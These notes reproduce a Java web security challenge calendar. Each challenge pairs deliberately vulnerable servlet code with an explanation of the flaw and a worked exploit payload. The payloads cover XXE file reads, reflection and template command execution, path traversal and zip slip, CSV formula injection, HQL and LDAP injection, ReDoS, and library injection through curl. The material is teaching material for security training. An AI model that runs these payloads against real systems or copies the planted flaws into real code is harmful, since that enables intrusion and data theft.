Notes related to RipsTech PHP Security Calendar 2019 which aren’t accessible anymore.
Challenge 1 - Candy Cane
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
public class ImportDocument {
// This function extracts the text of an OpenOffice document
public static String extractString() throws IOException, JDOMException {
File initialFile = new File("uploaded_office_doc.odt");
InputStream in = new FileInputStream(initialFile);
final ZipInputStream zis = new ZipInputStream(in);
ZipEntry entry;
List<Content> content = null;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().equals("content.xml")) {
final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
Document doc = sax.build(zis);
content = doc.getContent();
zis.close();
break;
}
}
StringBuilder sb = new StringBuilder();
if (content != null) {
for(Content item : content){
sb.append(item.getValue());
}
}
return sb.toString();
}
}
- The extractString function opens an OpenOffice document uploaded by an attacker to extract its text.
- OpenOffice documents are ZIP files containing multiple resources.
- One of these resources is content.xml, which holds the text information in XML format.
- The file content.xml is processed by the method org.jdom2.input.SAXBuilder.build(), which is vulnerable to XXE injection.
- The XXE vulnerability can be exploited by adding a malicious DOCTYPE declaration to the XML document.
- The XXE entity can reference sensitive files, such as /etc/passwd, and insert their contents into the document.
Example payload:
1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
Challenge 2 - Eggnog Madness
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.json.*;
public class MainController{
private static String[] parseJsonAsArray(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
JSONArray arrJson = obj.getJSONArray(field);
String[] arr = new String[arrJson.length()];
for (int i = 0; i < arrJson.length(); i++) {
arr[i] = arrJson.getString(i);
}
return arr;
}
private static String parseJsonAsString(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
return obj.getString(field);
}
// rawJson is user-controlled.
public MainController(String rawJson) {
this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
}
private MainController(String controllerName, String task, String... data) {
try {
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);
} catch (Exception e1) {
try {
String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
System.err.println(log);
// DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
// TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
// something with an ArgumentException, please have alook at that @peter
} catch (Exception e2) {
System.err.println("FATAL ERROR: " + e2);
}
}
}
}
- The rawJson parameter in line 20 is user-controlled and parsed as JSON.
- Data extracted from the JSON string is passed to the second constructor in line 21.
- The parameters controllerName and data can be exploited to instantiate any object and control the first parameter of a constructor in line 26.
- In line 28, the task parameter is used as a function name executed on the previously created object.
- This allows an attacker to instantiate objects, control the constructor’s first argument, and invoke any parameterless function.
- For exploitation, an attacker can create a ProcessBuilder with a shell command like touch hacked.jsp and then call the start() function to execute the command:
rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]} - The “logging” code in line 31 is a distraction and not vulnerable.
Challenge 3 - Christmas Carols
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;
public class TemplateRenderer {
private final VelocityEngine velocity;
public String renderFragment(String fragment, Map<String,Object> contextParameters) {
velocity = new VelocityEngine();
velocity.init();
VelocityContext context = new VelocityContext(contextParameters);
StringWriter tempWriter = new StringWriter(fragment.length());
velocity.evaluate(context, tempWriter, "renderFragment", fragment);
return tempWriter.toString();
}
public String render(HttpServletRequest req, HttpServletResponse res) {
Map<String, Object> hm = new HashMap<String, Object>();
hm.put("user", req.getParameter("user"));
String template = req.getParameter("temp");
String rendered = renderFragment(template,hm);
res.getWriter().println(rendered);
}
}
- A temp parameter is received and passed to renderFragment().
- The fragment argument leads to a Code Injection vulnerability in the Velocity template.
- The fragment (template) is evaluated as Java code by Velocity.
- Direct Java code execution is limited.
- Java reflection can be used to access Java classes and execute shell commands.
1
2
3
user=&temp=#set($s="")#set($stringClass=$s.getClass()
.forName("java.lang.Runtime").getRuntime()
.exec("touch hacked.jsp"))$stringClass
Challenge 4 - Father Christmas
1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.http.*;
public class Login extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String url = request.getParameter("url");
//only relative urls are allowed!
if (url.startsWith("/")) {
response.sendRedirect(url);
}
}
}
- This code challenge receives user input via the GET or POST parameter url.
- The url parameter can be used to exploit an open redirect vulnerability.
- The redirect happens if url starts with /.
- However, a URI starting with 2 slashes ( //attacker.org ) is not a relative URI but an absolute URI without a scheme. Therefore, the intended check if the URI is relative can be bypassed with the url parameter //attacker.org.
- As a result, the server redirects the victim to attacker.org.
Challenge 5 - WinterTime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;
public class Request {
public static String toString(HttpServletRequest req) {
StringBuilder sb = new StringBuilder();
String delimiter = req.getParameter("delim");
Enumeration<String> names = req.getParameterNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
if (!name.equals("delim")) {
sb.append("<b>" + name + "</b>:<br>");
String[] values = req.getParameterValues(name);
for (String val : values) {
sb.append(val);
sb.append(delimiter);
sb.append("<br>");
}
}
}
return sb.toString();
}
}
- The function toString iterates over HTTP parameters and formats them into HTML representation.
- The value delimiter is received and appended to the StringBuilder instance after each parameter value.
- A denial of service issue may arise due to the internals of java.util.StringBuilder.
- The StringBuilder object is initialized with an array of size 16.
- Each time a new value is appended, the StringBuilder instance checks if the data fits into the array.
- If not, the size of the array is doubled, leading to large amplification.
- Apache Tomcat has a 2MB limit for POST requests and a maximum of 10000 parameters.
- By submitting a large value for parameter delim and multiple HTTP parameters, we can exploit the StringBuilder internals to cause a maximum amplification of ~20000.
Challenge 6 - Yule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;
public class ReadFile extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String url = request.getParameter("url");
String data = new String(Files.readAllBytes(Paths.get(url)));
} catch (IOException e) {
PrintWriter out = response.getWriter();
out.print("File not found");
out.flush();
}
//proceed with code
}
}
- Untrusted user input is received from the parameter url.
- A java.nio.file.Path instance is created from the given value.
- The contents of the file are read by the method java.nio.file.Files.readAllBytes().
- This can be used to read arbitrary files through path traversal.
- The file contents are not reflected in the response.
- By sending the value /dev/urandom, the application can be interrupted.
- The method Files.readAllBytes() will not terminate until the Java heap is out of memory.
- This leads to an infinite file read and memory exhaustion (DoS).
- The IOException handler does not catch this issue.
Challenge 7 - Jingle Bells
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;
public class ApiCache extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
storeJson(request, "/tmp/getUserInformation.json");
}
protected void doGet(HttpServletRequest request,
HttpServletResponse response) {
loadJson();
}
public static void loadJson() {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
}
public static void storeJson(HttpServletRequest request, String filename) throws IOException {
JsonFactory jsonobject = new JsonFactory();
JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
jGenerator.writeStartObject();
jGenerator.writeFieldName("username");
jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
jGenerator.writeFieldName("permission");
jGenerator.writeRawValue("\"none\"");
jGenerator.writeEndObject();
jGenerator.close();
}
}
- The username parameter is user-controlled and flows into jGenerator.writeRawValue() without sanitization.
- An attacker could inject the payload ?username=foo”,”permission”:”all.
- This results in a JSON object with duplicate keys: “permission”:”all” and “permission”:”none”.
- If the JSON object is deserialized in method loadJson() and the method only deserializes the first occurrence of each key, the user foo can escalate privileges to “all”.
- Successful exploitation depends on the implementation of loadJson().
Challenge 8 - Icicles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.File;
import javax.servlet.http.*;
public class GetPath extends HttpServlet {
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws IOException {
try {
String icons = request.getParameter("icons");
String filename = request.getParameter("filename");
File f_icons = new File(icons);
File f_filename = new File(filename);
if (!icons.equals(f_icons.getName())) {
throw new Exception("File not within target directory!");
}
if (!filename.equals(f_filename.getName())) {
throw new Exception("File not within target directory!");
}
String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
File file = new File(toDir, filename);
// Download file...
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The parameter icons flows into a File object.
- It is validated and concatenated into a file path.
- The check in line 14 tries to prevent path traversal by comparing the file name to the parameter icons.
- The method getName() turns input like /../../../foo.txt into foo.txt, preventing simple path traversal.
- However, input like .. is not removed by getName().
- This allows bypassing the security check.
- In combination with the parameter filename, we can traverse one directory level higher and download arbitrary files.
Challenge 9 - Chestnuts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;
public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
} else {
out.print("Value is not in whitelist.");
}
out.flush();
}
public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}
- The parameter whitelist controls a part of the regular expression pattern.
- The parameter value is validated against this expression.
- We can inject an arbitrary expression and control the value it’s matched against.
- This allows us to produce heavy CPU consumption with a complex regular expression (ReDoS).
- This can lead to CPU exhaustion and a DoS, especially in Java 8.
- Proof of Concept:
whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Challenge 10 - Anticipation
1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
res.setContentType("text/xml");
res.setCharacterEncoding("UTF-8");
PrintWriter pw = res.getWriter();
name = name.replace("]]", "");
pw.print("<person>");
pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
pw.print("</person>");
}
- User input from parameter “name” is mapped to function parameter “name” via @RequestParam.
- The response Content-Type is set to text/xml.
- Untrusted user input can be injected into the XML response, leading to XSS.
- The attacker injects a script tag with the “http://www.w3.org/1999/xhtml” namespace.
- Escaping the CDATA element is bypassed with a space between “]]”.
- Tabs are used for other spaces needed in the payload.
- The provided payload demonstrates exploiting this vulnerability.
The following payload can be used to exploit this challenge:
1
test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[
Challenge 11 - Carolers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Files;
import org.apache.commons.compress.archivers.ArchiveStreamFactory;
import org.apache.commons.compress.archivers.tar.*;
import org.apache.commons.io.IOUtils;
public class ExtractFiles extends HttpServlet {
private static void extract() throws Exception {
// /tmp/uploaded.tar is user controlled and an uploaded file.
final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
File tmpDir = Files.createTempDirectory("test").toFile();
TarArchiveEntry entry;
while ((entry = tarInputStream.getNextTarEntry()) != null) {
File file = new File(tmpDir, entry.getName().replace("../", ""));
if (entry.isDirectory()) {
file.mkdirs();
} else {
IOUtils.copy(tarInputStream, new FileOutputStream(file));
}
}
is.close();
tarInputStream.close();
}
}
- The code extracts a TAR file into a temporary directory.
- The user controls the contents of /tmp/uploaded.tar.
- A TAR file is an archive of files and folders, each represented by a TarArchiveEntry object.
- The attacker can control the filename of a TarArchiveEntry using TarArchiveEntry.getName().
- The user input reaches the sensitive sink java.io.File in line 16.
- This can lead to a path traversal (zip slip) attack.
- The sanitization in line 16 is insufficient, as it only removes ../.
- The following payload can bypass the sanitization on a Linux system with a Tomcat server:
..././..././..././..././..././var/tomcat/webapps/ROOT/index.jsp
Challenge 12 - Evergreen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
index.jsp
<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>
<div class="<%= customClass %>">
<%! String username; %>
<% username = request.getParameter("username"); %>
Welcome citizen, you have been identified as
<%
customClass = request.getParameter("customClass");
customClass = ESAPI.encoder().encodeForHTML(customClass);
%>
<div class="<%= customClass %>">
<%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>
init.jsp
<% customClass = request.getParameter("customClass"); %>
- A class is dynamically assigned to a div element in line 5.
- The class is derived from the
customClassvariable. customClassis initially set to “default” but is overwritten by the contents ofinit.jsp.init.jspfetches user input and assigns it directly tocustomClasswithout sanitization.- This allows an attacker to control the class attribute of the div element.
- A simple double quote can be used to break out of the attribute.
- Other user input instances are properly sanitized with an ESAPI encoder.
Challenge 13 - Epiphany
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.servlet.http.*;
import java.io.*;
import java.util.List;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
public class UploadFileController extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
String uploadPath = getServletContext().getRealPath("") + "upload";
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
try {
List<FileItem> items = upload.parseRequest(request);
if (items != null && items.size() > 0) {
for (FileItem item : items) {
if (!item.isFormField()) {
if (!(item.getContentType().equals("text/plain"))) {
throw new Exception("ContentType mismatch");
}
String file = uploadPath + File.separator + item.getName();
File storeFile = new File(file);
item.write(storeFile);
}
}
}
} catch (Exception ex) {
response.sendRedirect("/");
}
}
}
- The challenge involves a multi-part file upload.
- The uploaded file must have a content type of
text/plain. - A content type check is in place to prevent dangerous file uploads (line 26).
- However, the attacker controls the content type and can easily bypass the check.
- The filename of the uploaded file is also user-controlled (line 28).
- This leads to a Path Traversal vulnerability due to the acceptance of
/../in filenames. - By combining the content type bypass and Path Traversal, an attacker can upload arbitrary files and execute remote commands.
1
2
Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp"
Content-Type: text/plain
Challenge 14 - Chimney
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.PrintWriter;
import java.util.*;
import javax.servlet.http.*;
public class Export extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/csv");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
String content = buildCSV(request);
out.print(content);
out.flush();
}
public String buildCSV(HttpServletRequest request) {
{
StringBuilder str = new StringBuilder();
List<List<String>> rows = Arrays.asList(
Arrays.asList("Scott", "editor", request.getParameter("description"))
);
str.append("Name");
str.append(",");
str.append("Role");
str.append(",");
str.append("Description");
str.append("\n");
for (List<String> rowData : rows) {
str.append(String.join(",", rowData));
str.append("\n");
}
return str.toString();
}
}
}
- The servlet exports a CSV file containing unfiltered user input.
- This leads to a Formula Injection vulnerability.
- The
descriptionparameter (line 22) is directly added to theStringBuilderin line 33 without sanitization. - An attacker can inject a payload like
=cmd|'C calc.exe'!Z0via thedescriptionparameter. - This results in a CSV file with malicious formulas that can execute commands.
Challenge 15 - Mistletoe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
public class FindOnSystem extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String[] binary = {"find", ".", "-type", "d"};
ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary));
String[] options = request.getParameter("options").split(" ");
for (String i : options) {
cmd.add(i);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(),response.getOutputStream());
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The servlet uses the
findsystem command to list directories. - This exposes directory information, leading to an information leak.
- The base command is
find . -type d(lines 9-10). - User-controlled
optionsare appended to the command (lines 12-15). - The command is executed using
java.lang.ProcessBuilder(lines 17-18). - While direct command injection is not possible, an Argument Injection vulnerability exists.
- The
-execparameter can be injected to execute arbitrary commands. - A payload like
?options=-exec cat /etc/passwd ;leads to the execution offind . -type d -exec cat /etc/passwd ;.
Challenge 16 - Candles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Serializable;
import javax.persistence.*;
@Entity
@DynamicUpdate
@Table(name = "UserEntity", uniqueConstraints = {
@UniqueConstraint(columnNames = "ID"),
@UniqueConstraint(columnNames = "EMAIL") })
public class UserEntity implements Serializable {
public UserEntity(String email, String firstName, String lastName) {
this.email = email;
this.firstName = firstName;
this.lastName = lastName;
}
private static final long serialVersionUID = -1798070786993154676L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "ID", unique = true, nullable = false)
private Integer userId;
@Column(name = "EMAIL", unique = true, nullable = false, length = 100)
private String email;
@Column(name = "FIRST_NAME", unique = false, nullable = false, length = 100)
private String firstName;
@Column(name = "LAST_NAME", unique = false, nullable = false, length = 100)
private String lastName;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.hibernate.*;
import org.springframework.web.bind.annotation.RequestParam;
public class FindController {
public String escapeQuotes(String in){
return in.replaceAll("'","''");
}
@RequestMapping("/findUsers")
public void findUsers(@RequestParam(name="name") String name, HttpServletResponse res) throws IOException{
Configuration config = new Configuration();
// Create SessionFactory with MySQL driver
SessionFactory sessionFactory = config.configure().buildSessionFactory();
Session session = sessionFactory.openSession();
List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'", UserEntity.class).list();
res.getWriter().println("Found " + users.size() + " Users with that name");
}
}
- User input is received via the
@RequestParamannotation and mapped to thenameparameter of thefindUsersmethod. - A Hibernate Session is created using the MySQL driver.
- A HQL query is executed to retrieve
UserEntityobjects based on a user-supplied filter. - The
escapeQuotesmethod is used to escape single quotes within the string literal. - However, the escaping is insufficient to prevent HQL injection.
- An attacker can inject a payload like
test\' or 1=sleep(1) -- -to bypass the escaping. - This payload allows the execution of arbitrary MySQL queries.
- The injected query will be sent to the database:
... where FIRST_NAME='test\'' or 1=sleep(5)-- -'.
Challenge 17 - Carol Singers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
import javax.servlet.http.*;
public class JavaDeobfuscatorStartupController extends HttpServlet {
private static boolean isInBlacklist(String input) {
String[] blacklist = {"java","os","file"};
return Arrays.asList(blacklist).contains(input);
}
private static void setEnv(String key, String value) {
String[] values = key.split(Pattern.quote("."));
if (isInBlacklist(values[0])) {
return;
}
List<String> list = new ArrayList<>(Arrays.asList(values));
list.removeAll(Arrays.asList("", null));
String property = String.join(".", list);
System.setProperty(property, value);
}
private static void loadEnv(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++)
if (cookies[i].getName().equals("env")) {
String[] tmp = cookies[i].getValue().split("@", 2);
setEnv(tmp[0], tmp[1]);
}
}
private static void uploadFile() {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
loadEnv(request);
try {
final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
sysPathsField.setAccessible(true);
sysPathsField.set(null, null);
System.loadLibrary("DEOBFUSCATION_LIB");
} catch (Exception e) {
response.sendRedirect("/");
}
}
}
- The
loadEnvmethod (line 39) processes the user-controlled cookieenv(lines 26-29). - Inside
loadEnv,setEnvis called with user-controlled key/value pairs (line 30). - The key is split by “.” and a blacklist check is done on the first element (line 15) to prevent setting system properties like
java. - The blacklist check can be bypassed with a payload like
.java.xxx. - Only the first element is checked, and empty strings are allowed (line 9/10).
- After the check, empty values are removed and the remaining parts are joined with “.” again (line 20).
- The attacker’s goal is to set
java.library.path(line 22) to/var/myapp/datafor Library Injection. - This path allows uploading a malicious library named
libDEOBFUSCATION_LIB.so(line 34). - The library filename needs the prefix “lib” and suffix “.so” for
System.loadLibraryto load it (line 44). - POC: 1.
Upload file:curl -v -F ‘upload=@/tmp/libDEOBFUSCATION_LIB.so’ http://victim.org/` - POC 2. Load malicious library:
curl -v --cookie 'env=.java.library.path@/var/myapp/data'
Challenge 18 - Reindeer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.tomcat.util.http.fileupload.IOUtils;
import javax.servlet.http.*;
import java.util.HashMap;
public class LoadConfig extends HttpServlet {
public static HashMap<String, String> parseRequest(String value) {
HashMap<String, String> result = new HashMap<String, String>();
if (value != null) {
String tmp[] = value.split("@");
for (int i = 0; i < tmp.length; i = i + 2) {
result.put(tmp[i], tmp[i + 1]);
}
}
return result;
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) {
if (request.getParameter("home") != null) {
HttpSession session = request.getSession(true);
if (!session.isNew()){
if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
// Execute last command:
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command((String)session.getAttribute("last_command"));
try {
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(), response.getOutputStream());
}
catch (Exception e){
return;
}
}
}
} else if (request.getParameter("save_session") != null) {
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
for (String i : config.keySet()) {
Cookie settings = new Cookie(i, config.get(i));
response.addCookie(settings);
}
} else {
HttpSession session = request.getSession(true);
if (session.isNew()) {
HashMap<String, String> whitelist = new HashMap<String, String>();
whitelist.put("home", "yes");
whitelist.put("role", "frontend");
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
whitelist.putAll(config);
for (String i : whitelist.keySet()) {
session.setAttribute(i, whitelist.get(i));
}
}
}
}
}
- The code is vulnerable to both Session Fixation and Command Injection.
- Upon visiting the application, a new session is created with user-controlled session variables (lines 43-54).
- Attackers can manipulate these variables by providing key-value pairs in the
configparameter (line 49). - This allows them to control their own session variables, including setting
"last_command". - However, a password is required via the authorization header for command execution (lines 21, 23-26).
- Leveraging the Session Fixation vulnerability (lines 35-39), an attacker can hijack the admin’s session.
- This is achieved by sending a link with
configset to a specific session ID (e.g.,curl "http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED"). - With the admin’s session hijacked, the attacker can execute their previously stored shell command via
last_commandwithout needing the password.
Challenge 19 - Gingerbread
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.script.ScriptEngineManager;
import javax.servlet.http.*;
import javax.script.ScriptEngine;
import java.io.IOException;
import java.util.regex.*;
public class RenderExpression extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
String dynamiceCodeHere = request.getParameter("p");
if (!dynamiceCodeHere.startsWith("\"")) {
throw new Exception();
}
Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
if (m.find()) {
throw new Exception();
}
scriptEngine.eval(dynamiceCodeHere);
// Proceed
} catch(Exception e) {
response.sendRedirect("/");
}
}
}
- The parameter
pis received in line 13 and evaluated in line 24, triggering an Expression Language Injection (ELI) vulnerability. - To prevent ELI, a check for quotes is implemented (lines 14-16) as strings usually start with quotes in this language.
- Additionally, a regular expression blacklist is applied (lines 18-22) to block dangerous classes and constructs used for code execution.
- However, the blacklist can be bypassed due to Java’s flexibility.
- Reflection can be used to call the
javax.scripts.ScriptEngineManagerclass, bypassing the blacklist. - While
evalexpects a string, the string can be encoded for code injection. - A possible payload exploiting reflection and string encoding could look like this:
1
victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Runtime.getRuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))
Challenge 20 - Ornaments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import javax.naming.*;
import javax.naming.directory.*;
import java.util.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;
public class UserController extends HttpServlet {
// This token is SHA-256(createTimestamp of admin user)
private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";
private static void executeCommand(String user_token, String[] cmd) {
if (user_token.equals(api_token)) {
// Execute shell command
}
}
/**
* Current attributes of objectClass "simpleSecurityObject":
* createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
*/
private static DirContext initLdap() throws NamingException {
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
env.put(Context.SECURITY_CREDENTIALS, "admin");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
return new InitialDirContext(env);
}
private static boolean userExists(DirContext ctx, String username) throws Exception {
String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
for (String name : security_blacklist) {
if (username.contains(name)) {
throw new Exception();
}
}
String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
if (results.hasMoreElements()) {
SearchResult searchResult = (SearchResult) results.nextElement();
return searchResult != null;
}
return false;
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
DirContext ctx = initLdap();
if(userExists(ctx, request.getParameter("username"))){
response.getOutputStream().print("User is found.");
response.getOutputStream().close();
}
} catch (Exception e) {
response.sendRedirect("/");
}
}
}
- The
usernameparameter (line 54) is passed to theuserExists()method. - The method checks if the user exists in the LDAP directory (lines 32-49).
- The
usernameis added to a filter string to query the LDAP server (line 40). - The query checks for an attribute
uidmatching theusername(line 40). - The LDAP query result determines the return value of
userExists()(line 46). - A blacklist is used to prevent certain attributes from being queried (lines 33-38).
- However, the
createtimestampattribute is not in the blacklist. - By injecting payloads like
?username=admin)(createtimestamp=2*or?username=admin)(createtimestamp=20*, an attacker can leak information about the admin user’screatetimestamp. - This information can be used to generate an API token (line 10) and execute arbitrary commands via the
executeCommand()method (line 14).
Challenge 21 - Snowman
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.crypto.*;
import javax.crypto.spec.*;
import org.apache.commons.codec.binary.Hex;
public class Decrypter{
@RequestMapping("/decrypt")
